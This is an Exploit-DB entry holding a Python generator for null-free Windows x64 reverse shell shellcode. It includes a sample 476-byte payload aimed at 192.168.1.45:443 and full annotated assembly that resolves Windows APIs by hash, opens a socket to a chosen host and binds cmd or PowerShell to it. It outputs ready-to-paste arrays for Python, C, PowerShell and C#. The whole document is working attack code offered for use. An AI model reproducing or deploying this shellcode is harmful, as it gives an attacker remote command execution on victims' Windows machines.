Windows/x64 - PIC Null-Free TCP Reverse Shell Shellcode (476 Bytes)

EDB-ID:

51721

Size:

476 bytes

Author:

Senzee

Platform:

Windows

Published:

2023-09-08

import ctypes, struct
import argparse
from keystone import *

# Exploit Title: Windows/x64 - PIC Null-Free TCP Reverse Shell Shellcode (476 Bytes)
# Exploit Author: Senzee
# Date: 08/29/2023
# Platform: Windows X64
# Tested on: Windows 11 Home/Windows Server 2022 Standard/Windows Server 2019 Datacenter
# OS Version (respectively): 10.0.22621 /10.0.20348 /10.0.17763
# Test IP: 192.168.1.45 
# Test Port: 443
# Payload size: 476 bytes
# NUll-Free: True
# Detailed information can be found at https://github.com/senzee1984/micr0_shell



# Generated Shellcode (192.168.1.45:443):
# Payload size: 476 bytes
# buf =  b"\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d"
# buf += b"\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01"
# buf += b"\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01"
# buf += b"\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31"
# buf += b"\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45"
# buf += b"\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b"
# buf += b"\x04\x8b\x4c\x01\xc8\xc3\xc3\x4c\x89\xcd\x41\xb8\x8e\x4e\x0e\xec\xe8\x8f\xff\xff"
# buf += b"\xff\x49\x89\xc4\x48\x31\xc0\x66\xb8\x6c\x6c\x50\x48\xb8\x57\x53\x32\x5f\x33\x32"
# buf += b"\x2e\x64\x50\x48\x89\xe1\x48\x83\xec\x20\x4c\x89\xe0\xff\xd0\x48\x83\xc4\x20\x49"
# buf += b"\x89\xc6\x49\x89\xc1\x41\xb8\xcb\xed\xfc\x3b\x4c\x89\xcb\xe8\x55\xff\xff\xff\x48"
# buf += b"\x31\xc9\x66\xb9\x98\x01\x48\x29\xcc\x48\x8d\x14\x24\x66\xb9\x02\x02\x48\x83\xec"
# buf += b"\x30\xff\xd0\x48\x83\xc4\x30\x49\x89\xd9\x41\xb8\xd9\x09\xf5\xad\xe8\x2b\xff\xff"
# buf += b"\xff\x48\x83\xec\x30\x48\x31\xc9\xb1\x02\x48\x31\xd2\xb2\x01\x4d\x31\xc0\x41\xb0"
# buf += b"\x06\x4d\x31\xc9\x4c\x89\x4c\x24\x20\x4c\x89\x4c\x24\x28\xff\xd0\x49\x89\xc4\x48"
# buf += b"\x83\xc4\x30\x49\x89\xd9\x41\xb8\x0c\xba\x2d\xb3\xe8\xf3\xfe\xff\xff\x48\x83\xec"
# buf += b"\x20\x4c\x89\xe1\x48\x31\xd2\xb2\x02\x48\x89\x14\x24\x48\x31\xd2\x66\xba\x01\xbb"
# buf += b"\x48\x89\x54\x24\x02\xba\xc0\xa8\x01\x2d\x48\x89\x54\x24\x04\x48\x8d\x14\x24\x4d"
# buf += b"\x31\xc0\x41\xb0\x16\x4d\x31\xc9\x48\x83\xec\x38\x4c\x89\x4c\x24\x20\x4c\x89\x4c"
# buf += b"\x24\x28\x4c\x89\x4c\x24\x30\xff\xd0\x48\x83\xc4\x38\x49\x89\xe9\x41\xb8\x72\xfe"
# buf += b"\xb3\x16\xe8\x99\xfe\xff\xff\x48\xba\x9c\x92\x9b\xd1\x9a\x87\x9a\xff\x48\xf7\xd2"
# buf += b"\x52\x48\x89\xe2\x41\x54\x41\x54\x41\x54\x48\x31\xc9\x66\x51\x51\x51\xb1\xff\x66"
# buf += b"\xff\xc1\x66\x51\x48\x31\xc9\x66\x51\x66\x51\x51\x51\x51\x51\x51\x51\xb1\x68\x51"
# buf += b"\x48\x89\xe7\x48\x89\xe1\x48\x83\xe9\x20\x51\x57\x48\x31\xc9\x51\x51\x51\x48\xff"
# buf += b"\xc1\x51\xfe\xc9\x51\x51\x51\x51\x49\x89\xc8\x49\x89\xc9\xff\xd0"


def print_banner():
	banner="""
███╗░░░███╗██╗░█████╗░██████╗░░█████╗░  ░██████╗██╗░░██╗███████╗██╗░░░░░██╗░░░░░
████╗░████║██║██╔══██╗██╔══██╗██╔══██╗  ██╔════╝██║░░██║██╔════╝██║░░░░░██║░░░░░
██╔████╔██║██║██║░░╚═╝██████╔╝██║░░██║  ╚█████╗░███████║█████╗░░██║░░░░░██║░░░░░
██║╚██╔╝██║██║██║░░██╗██╔══██╗██║░░██║  ░╚═══██╗██╔══██║██╔══╝░░██║░░░░░██║░░░░░
██║░╚═╝░██║██║╚█████╔╝██║░░██║╚█████╔╝  ██████╔╝██║░░██║███████╗███████╗███████╗
╚═╝░░░░░╚═╝╚═╝░╚════╝░╚═╝░░╚═╝░╚════╝░  ╚═════╝░╚═╝░░╚═╝╚══════╝╚══════╝╚══════╝
"""
	print(banner)
	print("Author: Senzee")
	print("Original Github Repository: https://github.com/senzee1984/micr0_shell")
	print("Description: Dynamically generate PIC Null-Free Windows X64 TCP Reverse Shell Shellcode")
	print("This version does not support shellcode execution")
	print("Attention: In rare cases (.255 and .0 co-exist), generated shellcode could contain NULL bytes, E.G. when IP is 192.168.0.255\n\n")


def get_port_argument(port):
	port_hex_str = format(port, '04x')
	port_part_1, port_part_2 = port_hex_str[2:], port_hex_str[:2]
	if "00" in {port_part_1, port_part_2}:
		port += 257
		port_hex_str = format(port, '04x')
		port_part_1, port_part_2 = port_hex_str[2:], port_hex_str[:2]
		return f"mov dx, 0x{port_part_1 + port_part_2};\nsub dx, 0x101;"
	return f"mov dx, 0x{port_part_1 + port_part_2};"


def get_ip_argument(ip):
	ip_hex_parts = [format(int(part), '02x') for part in ip.split('.')]
	reversed_hex = ''.join(ip_hex_parts[::-1])
	if "00" in ip_hex_parts and "ff" not in ip_hex_parts:
		hex_int = int(reversed_hex, 16)
		neg_hex = (0xFFFFFFFF + 1 - hex_int) & 0xFFFFFFFF
		return f"mov edx, 0x{neg_hex:08x};\nneg rdx;"
	return f"mov edx, 0x{reversed_hex};"


def get_shell_type_argument(shell_type):
	if shell_type == "cmd":
		return f"mov rdx, 0xff9a879ad19b929c;\nnot rdx;"
	return (f"sub rsp, 8;\nmov rdx, 0xffff9a879ad19393;\nnot rdx;\npush rdx;"
            f"\nmov rdx, 0x6568737265776f70;")


def output_shellcode(lan,encoding,var,save):
	sh = b""
	for e in encoding:
    		sh += struct.pack("B", e)
	shellcode = bytearray(sh)
	print("[+]Payload size: "+str(len(encoding))+" bytes\n")
	counter=0

	if lan=="python":
		print("[+]Shellcode format for Python\n")
		sc = ""
		sc = var+" = b\""
		for dec in encoding:
    			if counter % 20 == 0 and counter != 0:
        			sc += "\"\n"+var+"+="+"b\""
    			sc += "\\x{0:02x}".format(int(dec))
    			counter += 1

		if count % 20 > 0:
			sc += "\""  
		print(sc)	

	elif lan=="c":
		print("[+]Shellcode format for C\n")
		sc = "unsigned char " + var + "[]={\n"	
		for dec in encoding:
    			if counter % 20 == 0 and counter != 0:
        			sc += "\n"
    			sc += "0x{0:02x}".format(int(dec))+","
    			counter += 1
		sc=sc[0:len(sc)-1]+"};"
		print(sc)	


	elif lan=="powershell":
		print("[+]Shellcode format for Powershell\n")
		sc = "[Byte[]] $"+var+" = "	
		for dec in encoding:
    			sc += "0x{0:02x}".format(int(dec))+","
		sc=sc[0:len(sc)-1]
		print(sc)	

	elif lan=="csharp":
		print("[+]Shellcode format for C#\n")
		sc = "byte[] " + var + "= new byte["+str(len(encoding))+"] {\n"	
		for dec in encoding:
    			if counter % 20 == 0 and counter != 0:
        			sc += "\n"
    			sc += "0x{0:02x}".format(int(dec))+","
    			counter += 1
		sc=sc[0:len(sc)-1]+"};"
		print(sc)	
	
	else:
		print("Unsupported language! Exiting...")
		exit()


	if save=="true":
		try:
			with open(output, 'wb') as f:
				f.write(shellcode)
				print("\n\nGenerated shellcode successfully saved in file "+output)
		except Exception as e:
			print(e)
	
	
if __name__ == "__main__":
	print_banner()
	parser = argparse.ArgumentParser(description='Dynamically generate Windows x64 reverse shell.')
	parser.add_argument('--ip', '-i', required=True, dest='ip',help='The listening IP address, default value is 192.168.0.45')
	parser.add_argument('--port', '-p', required=False, default=443, dest='port',help='The local listening port, default value is 443')
	parser.add_argument('--language', '-l', required=False, default='python', dest='lan',help='The language of desired shellcode runner, default language is python. Support c, csharp, python, powershell')
	parser.add_argument('--variable', '-v', required=False, default='buf', dest='var',help='The variable name of shellcode array, default variable is buf')
	parser.add_argument('--type', '-t', required=False, default='cmd', dest='shell_type',help='The shell type, Powershell or Cmd, default shell is cmd')
	parser.add_argument('--save', '-s', required=False, default='False', dest='save',help='Whether to save the generated shellcode to a bin file, True/False')
	parser.add_argument('--output', '-o', required=False, default='', dest='output',help='If choose to save the shellcode to file, the desired location.')

	args = parser.parse_args()
	ip=args.ip
	port=int(args.port)
	lan=args.lan.lower()
	var=args.var
	shell_type=args.shell_type.lower()
	save=args.save.lower()
	output=args.output
	print("[+]Shellcode Settings:")
	print("******** IP Address: "+ip)
	print("******** Listening Port: "+str(port))
	print("******** Language of desired shellcode runner: "+lan)
	print("******** Shellcode array variable name: "+var)
	print("******** Shell: "+shell_type)
	print("******** Save Shellcode to file: "+save+"\n\n")

	args = parser.parse_args()
	port_argument = get_port_argument(port)
	ip_argument = get_ip_argument(ip)
	shell_type = get_shell_type_argument(shell_type)

	CODE = (
"find_kernel32:"
" xor rdx, rdx;"
" mov rax, gs:[rdx+0x60];"        # RAX stores the value of ProcessEnvironmentBlock member in TEB, which is the PEB address
" mov rsi,[rax+0x18];"        # Get the value of the LDR member in PEB, which is the address of the _PEB_LDR_DATA structure
" mov rsi,[rsi + 0x30];"        # RSI is the address of the InInitializationOrderModuleList member in the _PEB_LDR_DATA structure
" mov r9, [rsi];"        # Current module is python.exe
" mov r9, [r9];"        # Current module is ntdll.dll
" mov r9, [r9+0x10];"        # Current module is kernel32.dll
" jmp jump_section;"

"parse_module:"        # Parsing DLL file in memory
" mov ecx, dword ptr [r9 + 0x3c];"        # R9 stores the base address of the module, get the NT header offset
" xor r15, r15;"
" mov r15b, 0x88;"	# Offset to Export Directory   
" add r15, r9;"
" add r15, rcx;"
" mov r15d, dword ptr [r15];"        # Get the RVA of the export directory
" add r15, r9;"        # R14 stores  the VMA of the export directory
" mov ecx, dword ptr [r15 + 0x18];"        # ECX stores the number of function names as an index value
" mov r14d, dword ptr [r15 + 0x20];"        # Get the RVA of ENPT
" add r14, r9;"        # R14 stores  the VMA of ENPT

"search_function:"        # Search for a given function
" jrcxz not_found;"        # If RCX is 0, the given function is not found
" dec ecx;"        # Decrease index by 1
" xor rsi, rsi;"
" mov esi, [r14 + rcx*4];"        # RVA of function name string
" add rsi, r9;"        # RSI points to function name string

"function_hashing:"        # Hash function name function
" xor rax, rax;"
" xor rdx, rdx;"
" cld;"        # Clear DF flag

"iteration:"        # Iterate over each byte
" lodsb;"        # Copy the next byte of RSI to Al
" test al, al;"        # If reaching the end of the string
" jz compare_hash;"        # Compare hash
" ror edx, 0x0d;"        # Part of hash algorithm
" add edx, eax;"        # Part of hash algorithm
" jmp iteration;"        # Next byte

"compare_hash:"        # Compare hash
" cmp edx, r8d;"
" jnz search_function;"        # If not equal, search the previous function (index decreases)
" mov r10d, [r15 + 0x24];"        # Ordinal table RVA
" add r10, r9;"        # Ordinal table VMA
" movzx ecx, word ptr [r10 + 2*rcx];"        # Ordinal value -1
" mov r11d, [r15 + 0x1c];"        # RVA of EAT
" add r11, r9;"        # VMA of EAT
" mov eax, [r11 + 4*rcx];"        # RAX stores RVA of the function
" add rax, r9;"        # RAX stores  VMA of the function
" ret;"
"not_found:"
" ret;"

"jump_section:"        # Achieve PIC and elminiate 0x00 byte
" mov rbp, r9;"        # RBP stores base address of Kernel32.dll
" mov r8d, 0xec0e4e8e;"        # LoadLibraryA Hash
" call parse_module;"        # Search LoadLibraryA's address
" mov r12, rax;"        # R12 stores the address of LoadLibraryA function

"load_module:"
" xor rax, rax;"
" mov ax, 0x6c6c;"        # Save the string "ll" to RAX
" push rax;"        # Push the string to the stack
" mov rax, 0x642E32335F325357;"        # Save the string "WS2_32.D" to RAX
" push rax;"        # Push the string to the stack
" mov rcx, rsp;"        # RCX points to the "WS2_32.dll" string
" sub rsp, 0x20;"        # Function prologue
" mov rax, r12;"        # RAX stores address of LoadLibraryA function
" call rax;"        # LoadLibraryA("ws2_32.dll")
" add rsp, 0x20;"        # Function epilogue
" mov r14, rax;"        # R14 stores the base address of ws2_32.dll

"call_wsastartup:"
" mov r9, rax;"        # R9 stores the base address of ws2_32.dll
" mov r8d, 0x3bfcedcb;"        # Hash of WSAStartup
" mov rbx, r9;"        # Save the base address of ws2_32.dll to RBX for later use
" call parse_module;"        # Search for and get the address of WSAStartup
" xor rcx, rcx;"
" mov cx, 0x198;"
" sub rsp, rcx;"        # Reserve enough space for the lpWSDATA structure
" lea rdx, [rsp];"        # Assign the address of lpWSAData to the RDX register as the 2nd parameter
" mov cx, 0x202;"        # Assign 0x202 to wVersionRequired and store it in RCX as the 1st parameter
" sub rsp, 0x30;"        # Function prologue
" call rax;"        # Call WSAStartup
" add rsp, 0x30;"        # Function epilogue

"call_wsasocket:"
" mov r9, rbx;"
" mov r8d, 0xadf509d9;"        # Hash of WSASocketA function
" call parse_module;"        # Get the address of WSASocketA function
" sub rsp, 0x30;"        # Function prologue
" xor rcx, rcx;"
" mov cl, 2;"        # AF is 2 as the 1st parameter
" xor rdx, rdx;"
" mov dl, 1;"        # Type is 1 as the 2nd parameter
" xor r8, r8;"
" mov r8b, 6;"        # Protocol is 6 as the 3rd parameter
" xor r9, r9;"        # lpProtocolInfo is 0 as the 4th parameter
" mov [rsp+0x20], r9;"        # g is 0 as the 5th parameter, stored on the stack
" mov [rsp+0x28], r9;"        # dwFlags is 0 as the 6th parameter, stored on the stack
" call rax;"        # Call WSASocketA function
" mov r12, rax;"        # Save the returned socket type return value in R12 to prevent data loss in RAX
" add rsp, 0x30;"        # Function epilogue

"call_wsaconnect:"
" mov r9, rbx;"
" mov r8d, 0xb32dba0c;"        # Hash of WSAConnect
" call parse_module;"        # Get the address of WSAConnect
" sub rsp, 0x20;"        # Allocate enough space for the socketaddr structure
" mov rcx, r12;"        # Pass the socket descriptor returned by WSASocketA to RCX as the 1st parameter
" xor rdx, rdx;"
" mov dl, 2;"        # Set sin_family to AF_INET (=2)
" mov [rsp], rdx;"        # Store the socketaddr structure
" xor rdx, rdx;"
f"{port_argument}"	# Set local port dynamically
" mov [rsp+2], rdx;"        # Pass the port value to the corresponding position in the socketaddr structure
f"{ip_argument}"
" mov [rsp+4], rdx;"        # Pass IP to the corresponding position in the socketaddr structure
# " xor r8, r8;"			
# " mov [rsp+8], r8;"        # Set zero for sin_zero. Comment these 2 lines to save more bytes, does not prevent the shellcode from working
" lea rdx, [rsp];"        # Pointer to the socketaddr structure as the 2nd parameter
" xor r8, r8;"
" mov r8b, 0x16;"        # Set namelen member to 0x16
" xor r9, r9;"        # lpCallerData is 0 as the 4th parameter
" sub rsp, 0x38;"        # Function prologue
" mov [rsp+0x20], r9;"        # lpCalleeData is 0 as the 5th parameter
" mov [rsp+0x28], r9;"        # lpSQOS is 0 as the 6th parameter
" mov [rsp+0x30], r9;"        # lpGQOS is 0 as the 7th parameter
" call rax;"        # Call WSAConnect
" add rsp, 0x38;"        # Function epilogue

"call_createprocess:"
" mov r9, rbp;"        # R9 stores the base address of Kernel32.dll
" mov r8d, 0x16b3fe72;"        # Hash of CreateProcessA
" call parse_module;"        # Get the address of CreateProcessA
f"{shell_type}"
" push rdx;"   
" mov rdx, rsp;"        # Pointer to "cmd.exe" is stored in the RCX register
" push r12;"        # The member STDERROR is the return value of WSASocketA
" push r12;"        # The member STDOUTPUT is the return value of WSASocketA
" push r12;"        # The member STDINPUT is the return value of WSASocketA
" xor rcx, rcx;"
" push cx;"        # Pad with 0x00 before pushing the dwFlags member, only the total size matters
" push rcx;"
" push rcx;"
" mov cl, 0xff;"
" inc cx;"        # 0xff+1=0x100
" push cx;"        # dwFlags=0x100
" xor rcx, rcx;"
" push cx;"        # Pad with 0 before pushing the cb member, only the total size matters
" push cx;"
" push rcx;"
" push rcx;"
" push rcx;"
" push rcx;"
" push rcx;"
" push rcx;"
" mov cl, 0x68;"
" push rcx;"        # cb=0x68
" mov rdi, rsp;"        # Pointer to STARTINFOA structure
" mov rcx, rsp;"
" sub rcx, 0x20;"        # Reserve enough space for the ProcessInformation structure
" push rcx;"        # Address of the ProcessInformation structure as the 10th parameter
" push rdi;"        # Address of the STARTINFOA structure as the 9th parameter
" xor rcx, rcx;"
" push rcx;"        # Value of lpCurrentDirectory is 0 as the 8th parameter
" push rcx;"        # lpEnvironment=0 as the 7th argument
" push rcx;"        # dwCreationFlags=0 as the 6th argument
" inc rcx;"
" push rcx;"        # Value of bInheritHandles is 1 as the 5th parameter
" dec cl;"
" push rcx;"        # Reserve space for the function return area (4th parameter)
" push rcx;"        # Reserve space for the function return area (3rd parameter)
" push rcx;"        # Reserve space for the function return area (2nd parameter)
" push rcx;"        # Reserve space for the function return area (1st parameter)
" mov r8, rcx;"        # lpProcessAttributes value is 0 as the 3rd parameter
" mov r9, rcx;"        # lpThreatAttributes value is 0 as the 4th parameter
" call rax;"        # Call CreateProcessA
)

	ks = Ks(KS_ARCH_X86, KS_MODE_64)
	encoding, count = ks.asm(CODE)
	output_shellcode(lan,encoding,var,save)